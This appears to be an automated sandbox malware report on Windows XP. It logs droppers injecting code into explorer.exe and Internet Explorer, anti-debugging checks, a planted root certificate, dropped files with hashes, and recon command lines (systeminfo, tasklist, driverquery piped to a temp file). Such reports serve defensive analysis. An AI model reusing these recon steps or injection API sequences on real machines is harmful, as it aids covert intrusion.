Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	File read: C:\WINDOWS\system32\drivers\etc\hosts
Tries to load missing DLLs		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: xpsp2res.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: ieui.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: xpsp2res.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: msls31.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: xpsp2res.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: msls31.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: xpsp2res.dll
Source: C:\Program Files\Internet Explorer\iexplore.exe	Section loaded: msls31.dll
Source: C:\WINDOWS\system32\systeminfo.exe	Section loaded: xpsp2res.dll
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Section loaded: xpsp2res.dll
Source: C:\WINDOWS\system32\tasklist.exe	Section loaded: xpsp2res.dll
Source: C:\WINDOWS\system32\driverquery.exe	Section loaded: xpsp2res.dll

HIPS / PFW / Operating System Protection Evasion:

Contains functionality to inject threads in other processes		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02259E05 lstrcmpiW,GetProcAddress,GetModuleFileNameExW,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,CloseHandle,VirtualFreeEx,	0_2_02259E05
Allocates memory in foreign processes		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: C:\WINDOWS\explorer.exe base: FD0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: C:\WINDOWS\explorer.exe base: 2660000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: C:\WINDOWS\explorer.exe base: 275E000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 1FF0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 2150000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 224E000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 2AA0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 30F0000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 31EE000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 2560000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 2570000 protect: page read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory allocated: unknown base: 266E000 protect: page read and write
Benign windows process drops PE files		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: spa.dll.dr
Changes memory attributes in foreign processes to executable or writable		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: C:\WINDOWS\explorer.exe base: FD0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: C:\WINDOWS\explorer.exe base: FD0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: C:\WINDOWS\explorer.exe base: 275E000 protect: page read and write and page guard
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 1FF0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 1FF0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 224E000 protect: page read and write and page guard
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 2AA0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 2AA0000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 31EE000 protect: page read and write and page guard
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 2560000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 2560000 protect: page execute and read and write
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory protected: unknown base: 266E000 protect: page read and write and page guard
Contains functionality to write to remote processes		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02259E05 lstrcmpiW,GetProcAddress,GetModuleFileNameExW,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,CloseHandle,VirtualFreeEx,	0_2_02259E05
Creates a thread in another existing process (thread injection)		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Threat created: C:\WINDOWS\explorer.exe EIP: 7C8106F9
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Threat created: unknown EIP: 7C8106F9
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Threat created: unknown EIP: 7C8106F9
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Threat created: unknown EIP: 7C8106F9
Injects files into Windows application		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Injected file: C:\Program Files\Internet Explorer\iexplore.exe
Writes to foreign memory regions		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory written: C:\WINDOWS\explorer.exe base: FD0000
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory written: unknown base: 1FF0000
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory written: unknown base: 2AA0000
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Memory written: unknown base: 2560000

Anti Debugging:

Contains functionality to query system information		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02253E50 GetSystemInfo,VirtualQuery,VirtualAlloc,	0_2_02253E50
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02253FF3 GetCurrentThread,GetCurrentThread,GetThreadPriority,GetCurrentThread,SetThreadPriority,GetCurrentProcessId,CreateToolhelp32Snapshot,Thread32First,Thread32First,GetCurrentProcessId,GetCurrentThreadId,Thread32Next,GetProcessHeap,HeapAlloc,memset,Thread32First,GetCurrentProcessId,GetCurrentThreadId,Thread32Next,CloseHandle,GetCurrentThread,SetThreadPriority,	0_2_02253FF3
Contains functionality to dynamically determine API calls		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02251AA9 lstrcpyW,lstrlenW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	0_2_02251AA9
Contains functionality which may be used to detect a debugger (GetProcessHeap)		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02253CB1 GetCurrentThread,GetCurrentThread,GetThreadPriority,GetCurrentThread,SetThreadPriority,SetThreadPriority,ResumeThread,CloseHandle,GetProcessHeap,HeapFree,GetCurrentThread,SetThreadPriority,	0_2_02253CB1
Creates guard pages, often used to prevent reverse engineering and debugging		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Memory protected: page read and write and page guard
Enables debug privileges		Show sources
Source: C:\WINDOWS\system32\tasklist.exe	Process token adjusted: Debug
Found dropped PE file which has not been started or loaded		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Dropped PE file which has not been started: C:\WINDOWS\aplib64.dll

Virtual Machine Detection:

Contains functionality to query system information			Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02253E50 GetSystemInfo,VirtualQuery,VirtualAlloc,		0_2_02253E50

Hooking and other Techniques for Stealthness and Protection:

Extensive use of GetProcAddress (often used to hide API calls)		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_0225B2AD GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,	0_2_0225B2AD
Monitors certain registry keys / values for changes (often done to protect autostart functionality)		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry key monitored for changes: \REGISTRY\USER

Lowering of HIPS / PFW / Operating System Security Settings:

Adds / modifies Windows certificates			Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 Blob

Language, Device and Operating System Detection:

Contains functionality to query local / system time		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_02254C10 GetSystemTimeAsFileTime,InternetOpenW,WideCharToMultiByte,wsprintfW,InternetConnectW,HttpOpenRequestW,HttpSendRequestW,HttpQueryInfoW,InternetReadFile,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,wsprintfW,wsprintfW,InternetReadFile,wsprintfW,InternetCloseHandle,WideCharToMultiByte,InternetCloseHandle,InternetCloseHandle,wsprintfW,	0_2_02254C10
Contains functionality to query windows version		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 0_2_0225D4A8 GetVersion,	0_2_0225D4A8
Queries the cryptographic machine GUID		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Queries the installation date of Windows		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Registry key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Queries the installation date of Windows		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate
Queries the product ID of Windows		Show sources
Source: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
Queries the volume information (name, serial number etc) of a device		Show sources
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Program Files\Internet Explorer\iexplore.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Program Files\Internet Explorer\iexplore.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Program Files\Internet Explorer\iexplore.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\settings.sol VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Program Files\Internet Explorer\iexplore.exe VolumeInformation
Source: C:\Program Files\Internet Explorer\iexplore.exe	Qeruies volume information: C:\Program Files\Internet Explorer\iexplore.exe VolumeInformation

Startup

system is xp iexplore.exe (PID: 776 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E) iexplore.exe (PID: 588 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E) spa.dll (PID: 3352 MD5: D89BEB665FA97FA07482542426A72F52) opera_autoupdater.exe (PID: 480 MD5: 7EC185560813B702262C745A0B1DAB24) butit.exe (PID: 3032 MD5: 4437EA54E849D46273B260372C6DEC20) explorer.exe (PID: 1460 MD5: 12896823FB95BFB3DC9B46BCAEDC9923) cmd.exe (PID: 2860 cmdline: /C 266312.cmd MD5: 6D778E0F95447E6546553EEEA709D03C) attrib.exe (PID: 1908 MD5: E6D680494C812B82A15600FD23C94424) cmd.exe (PID: 3632 cmdline: cmd /C systeminfo.exe > C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C) systeminfo.exe (PID: 1428 MD5: A279F4091F940C15A288767F4285C0FF) cmd.exe (PID: 2880 cmdline: cmd /C tasklist.exe /SVC >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C) tasklist.exe (PID: 3440 MD5: E8B108654C5789AD3F75E08B0A89C609) cmd.exe (PID: 4064 cmdline: cmd /C driverquery.exe >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C) driverquery.exe (PID: 2736 MD5: E9F6BDB0D4578C4A27590FC6AA0713D3) cutit.exe (PID: 2516 MD5: E3AB32FB1EC51BF0F29AB03188C5862D) oxfyc.exe (PID: 2408 MD5: B0F7A032A0174DED0E7168B9F4150FF6) iexplore.exe (PID: 2232 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E) iexplore.exe (PID: 2244 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E) cleanup

system is xp

iexplore.exe (PID: 776 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E)

iexplore.exe (PID: 588 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E)

spa.dll (PID: 3352 MD5: D89BEB665FA97FA07482542426A72F52)

opera_autoupdater.exe (PID: 480 MD5: 7EC185560813B702262C745A0B1DAB24)

butit.exe (PID: 3032 MD5: 4437EA54E849D46273B260372C6DEC20)

explorer.exe (PID: 1460 MD5: 12896823FB95BFB3DC9B46BCAEDC9923)

cmd.exe (PID: 2860 cmdline: /C 266312.cmd MD5: 6D778E0F95447E6546553EEEA709D03C)

attrib.exe (PID: 1908 MD5: E6D680494C812B82A15600FD23C94424)

cmd.exe (PID: 3632 cmdline: cmd /C systeminfo.exe > C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C)

systeminfo.exe (PID: 1428 MD5: A279F4091F940C15A288767F4285C0FF)

cmd.exe (PID: 2880 cmdline: cmd /C tasklist.exe /SVC >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C)

tasklist.exe (PID: 3440 MD5: E8B108654C5789AD3F75E08B0A89C609)

cmd.exe (PID: 4064 cmdline: cmd /C driverquery.exe >> C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp MD5: 6D778E0F95447E6546553EEEA709D03C)

driverquery.exe (PID: 2736 MD5: E9F6BDB0D4578C4A27590FC6AA0713D3)

cutit.exe (PID: 2516 MD5: E3AB32FB1EC51BF0F29AB03188C5862D)

oxfyc.exe (PID: 2408 MD5: B0F7A032A0174DED0E7168B9F4150FF6)

iexplore.exe (PID: 2232 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E)

iexplore.exe (PID: 2244 MD5: B60DDDD2D63CE41CB8C487FCFBB6419E)

cleanup

Created / dropped Files

File Path	Type and Hashes
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\266312.cmd	Type: ASCII text, with CRLF line terminators MD5: 2459DBB4053212B5FBB218CC708EE206 SHA: 82E1F7F2D53E0B25AB6703B23B996C13B1F550DA SHA-256: 253579A84FDB4C7FE5C95B8AAFFE7B5DC5B594F93E483576E8F4DEC214B79B7E SHA-512: A59D40E463187F2BF2EA21DB0DA86671122E9BCACF5737B16F92687774BE4857217EE1B0C9BE91F605DB85DFB8A6836234C6A097CC21F8163F97840598977D6D
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Cab3.tmp	Type: Microsoft Cabinet archive data, 45039 bytes, 1 file MD5: FE6A1557A75A9C5B127CBA11B517CF27 SHA: D53D618744F3528B042A407AA62E2538659664E8 SHA-256: DBD5BE8E102B9AB21D0EC31721E13274D6BB0C533A7CA39395C236890FCB889D SHA-512: 98310D9EBC4A30F7A9C677D11D80CC9A7127F5E086B885BCBF5C4EEEBCE72BA89DFAE92F92A2D44D25A79A4C3934B7DFA13B7D8E9D9D8A3B8BA649D07E92308F
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Cab5.tmp	Type: Microsoft Cabinet archive data, 45039 bytes, 1 file MD5: FE6A1557A75A9C5B127CBA11B517CF27 SHA: D53D618744F3528B042A407AA62E2538659664E8 SHA-256: DBD5BE8E102B9AB21D0EC31721E13274D6BB0C533A7CA39395C236890FCB889D SHA-512: 98310D9EBC4A30F7A9C677D11D80CC9A7127F5E086B885BCBF5C4EEEBCE72BA89DFAE92F92A2D44D25A79A4C3934B7DFA13B7D8E9D9D8A3B8BA649D07E92308F
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Cab7.tmp	Type: Microsoft Cabinet archive data, 54009 bytes, 1 file MD5: 37C3AC7E8DC94373C9687E748AE3578E SHA: 509A4695ADD9E9709C2E673529ED53C7D0D0ABD8 SHA-256: B6E0ACAA93D42418499B5E3D74F4DD6D8BC8F47FD71A34642F41DA2CDDC98B46 SHA-512: F02A335BBEB1545D8EC1427C6517A64046D0200F47C518078CD4CF7803FB3B0136125A10A744610B8C84BB706AA8B4A1497BC27BCD84E90FC719920EB2F1C2B5
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Kno2.tmp	Type: XML document text MD5: 05AE1BE5EA4C6812EE365647B1DC873F SHA: 4438EA2BFF0BCA1314978B621E49BBB84952AB20 SHA-256: CB60EFC75C78B0086ECE2B97FF0E1F0753A1F8160EBA08786E414BA2FADDE5C7 SHA-512: 066DDFD5DFB1BF7C79447AEE27A7963320A07E29E47D04A287AE1E8BD5D01C1E02664A6CFF4E5AED2B9DA8E85B56071DDC20C22FB34EE4F55C2B5E0B500DE63D
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Tar4.tmp	Type: data MD5: 24C43530BE0CABCCE648CC124799D945 SHA: 542A89C43A49573C9B9262552DC8875D9330F927 SHA-256: DC3C995C9BD3E4E6298963E56316552B6329925F5E79609160167A896788BBF5 SHA-512: E5A234A9B15E8F84346FA49B9435B55D9DFD254CF4CD294479034FE2E330CB47883B8DBC3DA83F55106D22FCCF6F5BD343615143420EE580C01D51751D2D0C0B
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Tar6.tmp	Type: data MD5: 24C43530BE0CABCCE648CC124799D945 SHA: 542A89C43A49573C9B9262552DC8875D9330F927 SHA-256: DC3C995C9BD3E4E6298963E56316552B6329925F5E79609160167A896788BBF5 SHA-512: E5A234A9B15E8F84346FA49B9435B55D9DFD254CF4CD294479034FE2E330CB47883B8DBC3DA83F55106D22FCCF6F5BD343615143420EE580C01D51751D2D0C0B
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\Tar8.tmp	Type: data MD5: 3883807F81CC81266CC9766540C92479 SHA: 60D55D74D58FCEE2BB8E4AB1C704EFBAAF8A4E0B SHA-256: 5F74089408CC5AE0AC1221145327A27C3AB6F5265C3D904BDFC664C73AA388DB SHA-512: 4CD78ADD1961D20856F767438144925573C5E8A38DE59459841D8F3365131D3BC61B44F26372316EA55A79C0ACA6D887CA23CF9E99AF4A94E67E75DB86AA2336
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\_9.tmp	Type: ASCII text, with CRLF line terminators MD5: 04C72D5C5DD93C52442E5C225A8A76D7 SHA: BC2728AE39F7BF190C64A6D9445EBCF4BE9E3F1F SHA-256: 4DEA3444EB1AFF20112B6F4271FEE2497A4E21E65456CBCDF318CA6182EE7F12 SHA-512: 34DD859F5BDF345A9163F5400AECAEF9F9BF112091FFFFF402A4A22322C0308A2E2DF143E2C7DF6CE229F222C394440FC579EFC12F431D907CB6D3AC50E52C75
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\butit.exe	Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: 4437EA54E849D46273B260372C6DEC20 SHA: EC8D488231E3862F5F94C4738D9FCB02050BC09E SHA-256: 0E66A1B88DD87E62F1340D8ED1B932E02E04BDCCD2D34E424CEB75321F32B6E1 SHA-512: 017E2145E71C29E0201D0D356C1A3ED2CCD961AC11687B89DB55FBDFA9277EEF3F9E9364208DD507F3FFAAE9B73B9498FABA2BD56C06815000E821C094A29A73
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\cutit.exe	Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: E3AB32FB1EC51BF0F29AB03188C5862D SHA: CD5B1EC6B0306E542CAC6799F506CC21B39FAD34 SHA-256: D1EA1DA4897C81DAFE693484FD7A53FDE801C46379047FD0B152E218B941C591 SHA-512: 5B859382C2B38B77FD5861393828A07FD22FBDA3A68A48506F355E62E7121D11EF3EE788C3DB571C75562C932C30ED44589D4A0703427335BD078AF3058832BB
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\opera_autoupdater.exe	Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: 7EC185560813B702262C745A0B1DAB24 SHA: 467D87DEA4E40ECE6E533AA472D65EB46E3370A0 SHA-256: 3AC94CE94B3505BF99F21140A15F7F1E612B6C053E2C3837FDD76E06571CC023 SHA-512: 87AF59F94FD9A8759789D7B71A4163AD9E0B55BA862BD14356ECF591216589E93D29F300925136B3D7E83C1A6D8CED076A06D2FB4A10493C6CCCC6E1E587ACE6
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\spa.dll	Type: PE32 executable for MS Windows (GUI) Intel 80386 32-bit MD5: D89BEB665FA97FA07482542426A72F52 SHA: 89D8BB303E1F858DFD678B7B283A0205C2F59BB1 SHA-256: 29B7BEA7C01B531B6C21177CEEFD569FAE7DD2DDB5E27F2C835DF955B5FFDBC8 SHA-512: 5977FC8677D7CD26FF9FB9676E2232710133AAD9BD84F9EB4A380BC65D84FC61463B3AD87C0C6D6892ED671B75F3F4FA3B571A593CBE91B2E602F97E5CD593E0
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF6BD4.tmp	Type: data MD5: C0DD56AD35074C010F74515C09A17050 SHA: 18CB5E02CB6B4E8279798FBFA778A814CE927728 SHA-256: E434C509582845C1E0DE35D63E768C5C28A6D52C01107404C78A0B8FFB1B5965 SHA-512: 917A62C5E74FB86BE6D8B3124EEE03D8169C75A278C255448FEC74903B58AFBCEF52A49EDA2BBCDEB4A8613452C50F95C74EEC9FDAC824880C3CB4DAED3BAF57
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DF731C.tmp	Type: data MD5: FE41E5FDDCC9B9E9F8242BD20DB365EA SHA: D04FCAAA48FAB616E5760C7D45313CA6AFFB9858 SHA-256: 3BD19B380DEE69C5070984519B88C5D50FA0A580190F201B4C39EFD9B6B1A81F SHA-512: 4317A735DD8ADE50A85F6A36C1CE6BA4E364ECE7FA98F395372DA4E163C0141F61E0C7337F6E9FCB47563BF54ACC3879DF7F1EC602ADFB0FA24C8EEF5508FC2D
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFAC1.tmp	Type: data MD5: 4D6C8ABFB814F15294FF23B1CD109DB0 SHA: F3FB010DE3FF084C26AFF0C5635D402B9F07FBB2 SHA-256: 9EA6CC931239D0B4D8CC630FF17783D2638A1D47AD6D9709C8FD2EC241DB4BCF SHA-512: 818CE83BE625FB46EF8086EBF8B408EE65E9BB871B6AA1D78EF66A7B8042BEFA21A72D6E1BA967452A4C23A8597750A5D64C78143AE669F070ADA435FA236977
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD005.tmp	Type: data MD5: F50A386542DD7341E627C4DEAB1AF46B SHA: 3BFD3BFD22709333E0C560BC53D2BD33AB9946B7 SHA-256: 0993AF46E9A204E5345095E5AF148FBBE4871A1E385D67C793FB6D2D36C2E3F8 SHA-512: 43646FC9145D6591A1E4B2895D0CFFD3B4C42C1025765B58E92684B007A81640F3ECB8948F14FD4F4089A6154FABF57040E3ABDF1AEB81C7CBCD78B39076AA8F
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\~DFD851.tmp	Type: data MD5: E9E1F693CC4D2A0473C0E0C20CAFBA5E SHA: 1E6DB80BD6C98C8404DE64DC4DB5E1282CEC0736 SHA-256: 6F065762A1DB3021BBA323B602919E5E9868C51DAE22D16C824882AF79FDDA1F SHA-512: C7E3674D49A911CC37B0C26072CD06309476AF91D5AFC97DCF69E65BCE1B1984D66FF9C77A69E7CD64823D12AEBFA55DABC2C752D9DC0E9D4BA2D77DF400F74D
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\1DAF2884EC4DFA96BA4A58D4DBC9C406	Type: data MD5: D706621FD29FFBC7704B54EBB9C6CEFA SHA: 65B7D9E3459B991703BBCFC939F40BA4ABB6A7D6 SHA-256: 43EE6E31352ECD9D2627B3A6E31BED030F56C13273EF21989829DACA585A3BB7 SHA-512: B01F1CF9D8B9A0E0A2B698D7443D3CAA55DA70EB470BD878795C58BD485C6566982ACC888FB479338369111774C640DF8403A94053ADACE4B6FA5251FB1617A4
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\23B523C9E7746F715D33C6527C18EB9D	Type: data MD5: 0782E17D3AC2EA05E863533D1DF5A39C SHA: FFC643B5A11FA7B337D91737D04BBB464C19DD6F SHA-256: 551096B44CD666B9C76963CCAC295C7E20138D0B053F9047542EE571299E9D95 SHA-512: F877CB8AA99710A5B25092E2685DEF859F6EFF13AC9F44C330AF4E1939B71A642117B7795A22E54DA17BB44E0311EDED290BE2768FE8590C5549F5BB0188C472
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004	Type: ASCII text, with no line terminators MD5: FA52CB70D25027F59133CA0DA42588C9 SHA: 8D681525D44395EB6A2862337848B68E1587112B SHA-256: 946C6D029BA42E2E219D292986B967BC066EC2BF046B61E9546BFCE3E58EE4E4 SHA-512: 5C8CCDB9D7443E1A6B3D85C531938C2379CE960F4456E3F491CDC0B43F374CF67743E65786E1DF74C23471A7B8B9BC433CDC25C1572E69459AFBC204D367F01D
C:\Documents and Settings\Administrator\Application Data\Microsoft\CryptnetUrlCache\Content\4309200C3DBAD0F6F0DFACE9165FD092	Type: data MD5: DFFD3D235FF62B2E4B837AD768E63461 SHA: B9F0E8A3552DA34D25A16057BDBE85F208536273 SHA-256: 52E4F9FE2CB0CB2FBD48D0BDB9AF1E5A6BFCFB8CF012513FDDB12501BE156CE8 SHA-512: D49E2CC8B0E1921D1C3AAD66C270CDA937838D7D8866598DA19416AD25E977471DAD983DDA0E3F47AD3850BFB9337FA6DF6CA9D1A8097D0AFC297E61DC05DA18
